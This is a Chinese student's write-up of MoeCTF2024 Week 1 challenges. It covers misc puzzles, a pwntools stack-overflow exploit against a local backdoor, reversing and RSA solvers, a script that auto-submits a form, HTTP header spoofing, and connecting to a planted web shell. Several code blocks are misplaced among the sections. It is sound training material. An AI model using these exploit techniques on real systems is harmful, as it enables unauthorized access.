
MoeCTF2024 Week1 St4rr Writeup  
虽然只是第一周，还是有好多题不会，功力还不够（真的菜）。

签到  

在此签到  

Misc  

signin  

根据题目要求给luo记缺勤，其他全都签到即可
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罗小黑战记  

其中有一帧有二维码

扫出来就是flag
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杂项入门指北  

看题目描述，猜到肯定是在海报的哪个角落里藏了个什么编码，细细观看就能发现右边竖着的摩斯密码
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ez_F5  

图片的属性里面有个base32，解出来是个密码

根据题目名称知道这里是个F5隐写
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readme  

读取当前进程的文件描述符表即可，经尝试为/proc/self/fd/3

捂住一只耳  

抽象题

在音频的后半段可以听到如下一串数字

每个数字实际上表示的是键盘上字幕的坐标，根据题目描述，全是大写

因此一一对应得到flag

AI  

neuro?  

多问问，根据他的意思来，总能出的(

ON 63 31 43 31 41 52 31 51 71 101

moectf{NEVERGETUP}
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Pwn  

二进制漏洞审计入门指北  

直接nc就有flag
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NotEnoughTime  

简单nc了一下，这题是给了一个数学式子，要求给出答案。但是给的作答时间非常的短，用pwntools写
个脚本，用eval计算式子即可。

exp:

from pwn import *

from Crypto.Util.number import *

import re

def work(io):

    io.recvuntil(b"ones.")

    io.sendlineafter(b'=',b'2')

    io.sendlineafter(b'=',b'0')

    io.recvuntil(b'PREPARED!')

    a=io.recvuntil(b'=')

    while 1:

        aa=re.sub(r'[ \t\n\r=]+', '', a.decode()).replace('/','//')

        ans=eval(aa)

        print(ans)

        io.sendline(str(ans).encode())

        try:

            a=io.recvuntil(b'=')

        except:

            break

io = remote('127.0.0.1',61453)

work(io)

io.interactive()
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no_more_gets  

没有壳，放进IDA中看一下，发现gets危险函数

看一下my_shell函数，发现后门

就是一个栈溢出，溢出到my_shell函数处即可，可以看到字符串s2申请了0x50个字节的空间，函数
my_shell的地址是0x401176，再用ROPgadget找一个ret地址即可
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exp:

运维  

哦不！我的libc！  

此题非预期过的，预期解busybox的方法研究了半天没成功。。。链接先放在这好了：https://zh
uanlan.zhihu.com/p/20062978

题目：

from pwn import *

def exp(io):

    io.recvuntil(b'out.')

    payload=b'A'*(0x50+0x8) + p64(0x40101a)+p64(0x401176)

    io.sendline(payload)

io = remote('127.0.0.1',62784)

exp(io)

io.interactive()

    出题人低估了一些奇技淫巧导致这题非预期较多，先滑跪了 Orz，用修改过的运维场景来面对各位黑客

还是太欠考虑了。稍后会放出更还原的场景，敬请期待，本题不会修改。

    本题取材于真实事件。

Reverier 是个干运维的，7x24 小时服务随叫随到的那种。
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echo不依赖glibc，直接用echo命令即可把flag带出来

Reverse  

逆向工程入门指北  

题目

他负责了好几台服务器，没事还要响应各种各样的小事故（说通俗点就是擦屁股的），比如什么学弟不小心给

自己的 /usr/lib 删了啊，隔壁楼实验室的学姐运维的古老 Ubuntu 14 找不到软件源了啊，楼上课题组跑 

AI 的机器 CUDA 又爆了啊，室友搞二进制分析用的 PowerPC 虚拟机又起不来了什么的。

每次帮忙完，Reverier 都会去学校的 711 便利店买一瓶椰子水犒劳一下自己。

好了这是前言，然后今天 Reverier 遇到了一个离谱的事。

西安电子科技大学的一些课题组使用的古老服务器有些来源于超算中心，有些则在祖传了很久的老旧机房里，

想联系到硬件管理员难如登天，联系到了他也不一定找得到钥匙。然后大伙就都用着一根网线连接着一台不知

道跑了多久的 linux 机器凑合用。直到有一天，有一个哥们手滑给 glibc 卸载了。

glibc 是什么东西呢？几乎所有的现代 GNU/Linux 程序都链接在上面（musl程序毕竟是少数）。这下好

了，连基础的 ls、cp、mv 都没法用了。于是这哥们开始寻找补救措施，有好几个学长的毕业论文数据还在

上面呢，这要是丢了那学长们就可以和他同一年毕业了。但是怎么补救啊？手头啥也没有，于是问了一圈人，

给 Reverier 冤大头找来了。现在整个服务器只有一个 shell 还活着，没有 glibc 连新的 ssh 连接都

无法建立。

抢救完这一单，Reverier 感觉自己冒了一斤的汗。时间回到那个萧瑟冬天的下午，你能从这样一个棘手场景

中将服务器抢救回来吗？

题目连接方式：

$ ssh root@127.0.0.1 -p <port>

root 的密码: toor

注：为了降低难度，你只需要恢复 ls 和 cat 即可完成题目目标，无须恢复服务器的 glibc，难度降得有

点太多了，大伙试试花式解题罢。

再注：此环境为一次性环境，如果没能一次性成功抢救服务器，断连之后服务器就彻底迷失在落满尘土的机房

里了。（第一次抢救失败后请重启环境）

再注：平台的网络不太稳定，WebSocket连接有可能会断。如果频繁断连影响做题，你可以考虑给以下配置加

入你的 ssh config 中：

Host *

  ServerAliveInterval 5

  ServerAliveCountMax 30

flag 文件在 /flag.txt 。

#include <iostream>

int main()

{

char password_enc[] = {
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运行一下就有flag

xor  

放进IDA，简单阅读伪代码得知就是对每个字符异或了0x22进行的加密，找到加密后的数组异或回去即
可

123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,

101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119,

111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 };

// 因为a^b=c时, b^c=a, 所以我们可以这样还原数据:

char password[47];

for (int i = 0; i < 46; i++) {

password[i] = password_enc[i] ^ 22;

}

password[46] = 0; // 使用0字符来截断掉%s的无尽输出..

printf("%s\n", password); // 哈哈，这就是本题的f l a g，自己运行一下交上去吧！

return 0;

}
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TEA  

放进IDA可以看见这是一个稍稍修改过的TEA加密

顺着写解密函数就行

ls=[0x49, 0x4B, 0x41, 0x47, 0x50, 0x42, 0x5F, 0x41, 0x1C, 0x16, 0x46,0x10, 0x13, 

0x1C, 0x40, 9, 0x42, 0x16, 0x46, 0x1C, 9, 0x10,0x10,0x42, 0x1D, 9, 0x46, 0x15, 

0x14,0x14, 9, 0x17, 0x16, 0x14,0x41, 0x40,0x40, 0x16, 0x14, 0x47, 0x12, 0x40, 

0x14, 0x59]

s=''

for i in ls:

    s+=chr(i^0x24)

print(s)

#include<bits/stdc++.h>

using namespace std;

int main()

{

    unsigned int v4=676078132,v5=957400408,delta=1640531527,v3=0;

    for(int i=0;i<32;i++)

        v3-=delta;

    for(int i=0;i<32;i++)

    {

        v5 -= (v4 + v3) ^ (16 * v4 + 1634038898) ^ ((v4 >> 5) + 1634038904);

        v4 -= (v5 + v3) ^ (16 * v5 + 1702060386) ^ ((v5 >> 5) + 1870148662);

        v3+=1640531527;

    }

    printf("%x",v4);

    printf("%x",v5);

    return 0;

}
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运行得到836153a58e0049bd，按着上面给出的格式填入flag即可

moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

逆向工程进阶之北  

题目

由于unsigned int为四个字节，所以题中的强制类型转换的意义实际上是对每四个字符进行一次加密。
我们可以通过一一枚举爆破出原来的字符串

void flag_encryption(unsigned char* input)

{

size_t len = strlen((const char*)input);

if (len != 44)

{

std::cout << "length error!";

return;

}

unsigned int* p = (unsigned int*)input;

for (int i = 0; i < 11; i++)

{

*(p + i) = (*(p + i) * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;

std::cout << ", 0x" << std::hex << *(p + i) << ' ';

}

std::cout << std::endl;

// 0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 

,0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81

}

int main()

{

unsigned char a[] = "moectf{f4k3__flag__here_true_flag_in_s3cr3t}";

flag_encryption(a);

return 0;

}

#include<bits/stdc++.h>

using namespace std;

int find(int i,unsigned int * arr)

{

        for(int j=33;j<=126;j++)

            for(int k=33;k<=126;k++)

                for(int l=33;l<=126;l++)

                    for(int m=33;m<=126;m++)

                    {

                        unsigned char temp[]={(unsigned char)j,(unsigned char)k,

(unsigned char)l,(unsigned char)m};

                        unsigned int* p = (unsigned int*)temp;

                        if(((*p * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 

0xd3906)==arr[i])

                        {

                            cout<<(char)j<<(char)k<<(char)l<<(char)m;

                            return 0;

                        }

                    }

}

int main()
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Crypto  

现代密码学入门指北  

题目

最基础的RSA加密，随便怎样分解一下n就行

{

    unsigned int arr[]=

{0xb5073388,0xf58ea46f,0x8cd2d760,0x7fc56cda,0x52bc07da,0x29054b48,0x42d74750,0x

11297e95,0x5cf2821b,0x747970da,0x64793c81};

    for(int i=0;i<11;i++)

        find(i,arr);

    return 0;

}

from Crypto.Util.number import bytes_to_long, getPrime

from secret import flag

p = getPrime(128)

q = getPrime(128)

n = p*q

e = 65537

m = bytes_to_long(flag)

c = pow(m, e, n)

print(f"n = {n}")

print(f"p = {p}")

print(f"q = {q}")

print(f"c = {c}")

'''

n = 

40600296529065757616876034307502386207424439675894291036278463517602256790833

p = 197380555956482914197022424175976066223

q = 205695522197318297682903544013139543071

c = 

36450632910287169149899281952743051320560762944710752155402435752196566406306

'''

af://n96
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Signin  

题目

from Crypto.Util.number import long_to_bytes

import gmpy2

e=65537

p = 197380555956482914197022424175976066223

q = 205695522197318297682903544013139543071

n = 

40600296529065757616876034307502386207424439675894291036278463517602256790833

c = 

36450632910287169149899281952743051320560762944710752155402435752196566406306

phi=(p-1)*(q-1)

d=gmpy2.invert(e,phi)

m=pow(c,d,n)

print(long_to_bytes(m))

from Crypto.Util.number import*

from secret import flag

m = bytes_to_long(flag)

p = getPrime(1024)

q = getPrime(1024)

n = p*q

e = 65537

c = pow(m,e,n)

pq = (p-1)*(q-2)

qp = (q-1)*(p-2)

p_q = p + q

print(f"{c = }")

print(f"{pq = }")

print(f"{qp = }")

print(f"{n = }")

print(f"{p_q = }")

'''

c = 

56543862287325820628364808599155578580195534572319562371676523231917684223949800

61906028416785155458721240012614551996577092521454960121688179565370052222983096

21161135263096302730041638701121974489112150683420180853367507214145011138237270

20754882928670775124032930720536813157148572462730467852649669338547545435334428

66929316042885151966997466549713023923528666038905359773392516627983694351534177

82924726214874986787415606676864316967538005467370164177481465529011872377406008

21616156820053351030744452058067311124306092565809519965543188451280224159569332

91151825345962528562570998777860222407032989708801549746
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所以上述两式相加+3(p+q)-4即可得到2pq，(p+q)已知，不难求出p和q

exp:

pq = 

18047017539289114275195019384090026530425758236625347121394903879980914618669633

90266810035378891047014197664033767570057057312702069308117596198857162175971112

20624521925269247447605617886257020446323503192459610134306658530715697773070479

34247268954386678746085438134169871118814865536503043639618655569687154230787854

19615306754793893677648874186421449915589287061082397973927829650107463296206942

65936911941056700210353376098968866900496772227782515595666647354191004599536722

18523709852732976706321086266274840999100037702428847290063111455101343033924136

386513077951516363739936487970952511422443500922412450462

qp = 

18047017539289114275195019384090026530425758236625347121394903879980914618669633

90266810035378891047014197664033767570057057312702069308117596198857162175971112

20624521925269247447605617886257020446323503192459610134306658530715697773070479

34247268954386678746085438134169871118814865536503043639618655569687077087914198

87779435445966980824013338382835637942376773675350679444154550631206634457629845

39570645901801416486902262662366423205086135440470371103635231299664378406606938

85863331837516125853621802358973786440314619135781324447765480391038912783714312

479080029167695447650048419230865326299964671353746764860

n = 

18047017539289114275195019384090026530425758236625347121394903879980914618669633

90266810035378891047014197664033767570057057312702069308117596198857162175971112

20624521925269247447605617886257020446323503192459610134306658530715697773070479

34247268954386678746085438134169871118814865536503043639618655569687534959910892

78966106561480726582507894293171785556668607346338239841720564894671337361700644

99019777189810430206646168413035177082074132155481102942711012672360702520157820

44263961319221848136717220979435486850254298686692230935985442120369913666939804

135884857831857184001072678312992442792825575636200505903

p_q = 

27953370657750179156974066859554451192005695494418457051318747800755119583169342

85898985483397510665512254247905345566021578354686188452214236439728706715563622

00734472399328046960316064864571163851111207448753697980178391430044714097464866

523838747053135392202848167518870720149808055682621080992998747265496

'''

from Crypto.Util.number import long_to_bytes

import gmpy2

c = 

56543862287325820628364808599155578580195534572319562371676523231917684223949800

61906028416785155458721240012614551996577092521454960121688179565370052222983096

21161135263096302730041638701121974489112150683420180853367507214145011138237270

20754882928670775124032930720536813157148572462730467852649669338547545435334428

66929316042885151966997466549713023923528666038905359773392516627983694351534177

82924726214874986787415606676864316967538005467370164177481465529011872377406008

21616156820053351030744452058067311124306092565809519965543188451280224159569332

91151825345962528562570998777860222407032989708801549746



ez_hash  

题目

pq = 

18047017539289114275195019384090026530425758236625347121394903879980914618669633

90266810035378891047014197664033767570057057312702069308117596198857162175971112

20624521925269247447605617886257020446323503192459610134306658530715697773070479

34247268954386678746085438134169871118814865536503043639618655569687154230787854

19615306754793893677648874186421449915589287061082397973927829650107463296206942

65936911941056700210353376098968866900496772227782515595666647354191004599536722

18523709852732976706321086266274840999100037702428847290063111455101343033924136

386513077951516363739936487970952511422443500922412450462

qp = 

18047017539289114275195019384090026530425758236625347121394903879980914618669633

90266810035378891047014197664033767570057057312702069308117596198857162175971112

20624521925269247447605617886257020446323503192459610134306658530715697773070479

34247268954386678746085438134169871118814865536503043639618655569687077087914198

87779435445966980824013338382835637942376773675350679444154550631206634457629845

39570645901801416486902262662366423205086135440470371103635231299664378406606938

85863331837516125853621802358973786440314619135781324447765480391038912783714312

479080029167695447650048419230865326299964671353746764860

n = 

18047017539289114275195019384090026530425758236625347121394903879980914618669633

90266810035378891047014197664033767570057057312702069308117596198857162175971112

20624521925269247447605617886257020446323503192459610134306658530715697773070479

34247268954386678746085438134169871118814865536503043639618655569687534959910892

78966106561480726582507894293171785556668607346338239841720564894671337361700644

99019777189810430206646168413035177082074132155481102942711012672360702520157820

44263961319221848136717220979435486850254298686692230935985442120369913666939804

135884857831857184001072678312992442792825575636200505903

p_q = 

27953370657750179156974066859554451192005695494418457051318747800755119583169342

85898985483397510665512254247905345566021578354686188452214236439728706715563622

00734472399328046960316064864571163851111207448753697980178391430044714097464866

523838747053135392202848167518870720149808055682621080992998747265496

e=65537

p__q=pq+qp+3*p_q-4

p=(gmpy2.iroot(p_q**2-2*p__q,2)[0]+p_q)//2

q=n//p

phi=(p-1)*(q-1)

d=gmpy2.invert(e,phi)

m=pow(c,d,n)

print(long_to_bytes(m))
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已知明文的前四位，爆破后六位即可

exp:

Big and small  

题目

from hashlib import sha256

from secret import flag, secrets

assert flag == b'moectf{' + secrets + b'}'

assert secrets[:4] == b'2100' and len(secrets) == 10

hash_value = sha256(secrets).hexdigest()

print(f"{hash_value = }")

# hash_value = 

'3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a'

from itertools import product  

from hashlib import sha256

digits = [str(i) for i in range(10)]  

all_six_digit_combinations = [''.join(p) for p in product(digits, repeat=6)]  

for i in all_six_digit_combinations:

    secrets=b'2100'+str(i).encode()

    hash_value = sha256(secrets).hexdigest()

    if 

hash_value=='3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a':

        print(secrets)

        break

af://n136


低指数幂，直接开根验证就行

from secret import flag

from Crypto.Util.number import*

m = long_to_bytes(flag)

p = getPrime(1024)

q = getPrime(1024)

n = p*q

e = 3

c = pow(m,e,n)

'''

c = 

15040962052828809394718524991324203350053071559384591201822564821291547806598280

6112747164334970339684262757

e = 3

n = 

20279309983698966932589436610174513524888616098014944133902125993694471293062261

71307659125105408617416967084859841554860937557064333080866380404938402094938985

68315202024617674979069772954535457716982206395451019668660038861083209870811536

19862170206953817850993602202650467676163476075276351519648193219850062278314841

38545962748558889132689901974545767989186763284997569427406432072317568774863364

40746140689780986295666771256961503432489240598016320815142359753579067632514980

42129457546586971828204136347260818828746304688911632041538714834683709493303900

837361850396599138626509382069186433843547745480160634787

'''

from Crypto.Util.number import *

import gmpy2

c = 

15040962052828809394718524991324203350053071559384591201822564821291547806598280

6112747164334970339684262757

e = 3

n = 

20279309983698966932589436610174513524888616098014944133902125993694471293062261

71307659125105408617416967084859841554860937557064333080866380404938402094938985

68315202024617674979069772954535457716982206395451019668660038861083209870811536

19862170206953817850993602202650467676163476075276351519648193219850062278314841

38545962748558889132689901974545767989186763284997569427406432072317568774863364

40746140689780986295666771256961503432489240598016320815142359753579067632514980

42129457546586971828204136347260818828746304688911632041538714834683709493303900

837361850396599138626509382069186433843547745480160634787

def de(c, e, n):

    k = 0

    while True:

        mm = c + n*k

        result, flag = gmpy2.iroot(mm, e)

        if True == flag:

            return result

        k += 1

m=de(c,e,n)

print(long_to_bytes(m))



baby_equatation  

题目

其实将最后这个式子化简并不难

问题在于怎么找到a和b。经尝试，在(4k)^0.25附近无法找到a和b，因此这里选择现将(4k)^0.5分解后，
通过搜索算法对其因数进行组合来找到a+1和b-1

exp:

from Crypto.Util.number import *

from secret import flag

l = len(flag)

m1, m2 = flag[:l//2], flag[l//2:]

a = bytes_to_long(m1)

b = bytes_to_long(m2)

k = 

0x2227e398fc6ffcf5159863a345df85ba50d6845f8c06747769fee78f598e7cb1bcf875fb9e5a69

ddd39da950f21cb49581c3487c29b7c61da0f584c32ea21ce1edda7f09a6e4c3ae3b4c8c12002bb2

dfd0951037d3773a216e209900e51c7d78a0066aa9a387b068acbd4fb3168e915f306ba40

assert ((a**2 + 1)*(b**2 + 1) - 2*(a - b)*(a*b - 1)) == 4*(k + a*b)

import gmpy2

from Crypto.Util.number import *

a=b''

def find(tot,index,ls):

    if index==17:

        if b'moectf{' in long_to_bytes(tot):

            return tot

        return 0

    a=find(tot*ls[index],index+1,ls)

    b=find(tot,index+1,ls)

    if a!=0:

        return a

    else:

        return b 

k = 

0x2227e398fc6ffcf5159863a345df85ba50d6845f8c06747769fee78f598e7cb1bcf875fb9e5a69

ddd39da950f21cb49581c3487c29b7c61da0f584c32ea21ce1edda7f09a6e4c3ae3b4c8c12002bb2

dfd0951037d3773a216e209900e51c7d78a0066aa9a387b068acbd4fb3168e915f306ba40

a1b1=gmpy2.iroot(4*k,2)[0]

af://n147


Web  

Web渗透测试与审计入门指北  

挂在phpstudy上访问一下就可以看到flag

弗拉格之地的入口  

robots协议泄露

fac=

[2,2,2,2,3,3,31,61,223,4013,281317,4151351,339386329,370523737,5404604441993,267

98471753993,25866088332911027256931479223,64889106213996537255229963986303510188

999911]

a1=find(1,0,fac)

b1=a1b1//a1

print(long_to_bytes(a1-1)+long_to_bytes(b1+1))

af://n176
af://n177
af://n182


ez_http  

经典的http套娃题，这里用postman来做

使用POST模式

POST传参

af://n190


GET传参

Referer头



设置cookie

UA头



XFF头

ProveYourLove&&七夕限定  

可以看到相关操作全写在前端了

af://n216


写个js脚本交300次再刷新页面就行

for (let i = 0; i < 300; i++) {

    const formData = new FormData(document.getElementById('confessionForm'));

    fetch('/questionnaire', {

        method: 'POST',

        headers: {

            'Content-Type': 'application/json'

        },

        body: JSON.stringify(Object.fromEntries(formData))

    })

    .then(response => response.json())

    .then(result => {

        if (result.success) {

            console.log('表白提交成功：', i + 1);

        } else {

            console.error('表白提交失败：', i + 1);

        }

    })

    .catch(error => {

        console.error('Error:', error);

    });

}



弗拉格之地的挑战  

af://n229


第一关  

查看页面源代码就行，在注释里

第二关  

查看响应头就可看到

第三关  

用hackbar传一下参即可

af://n232
af://n236
af://n240


第四关  

伪造一下Referer头

阅读源码，发现又是前端的东西，改一下button对应的值再点击即可

af://n243




第五关  

又是前端的东西，从js代码中我们知道，这里实际上是要传一个名为content，值为I want flag的参数

hackbar传一下就行

af://n255


第六关  

这次是后端的东西，读懂代码就很简单，就是要通过GET和POST各传一个叫做moe的参数，其中GET参
数值不能是flag，但是可以通过正则大小写匹配编程flag，因此只要把flag四个字母中任意一个换成大写
就行（马奇诺防线）

af://n264


第七关  

后门都已经开好了，直接用蚁剑连就行

af://n269


最后全都拼接起来就得到了flag
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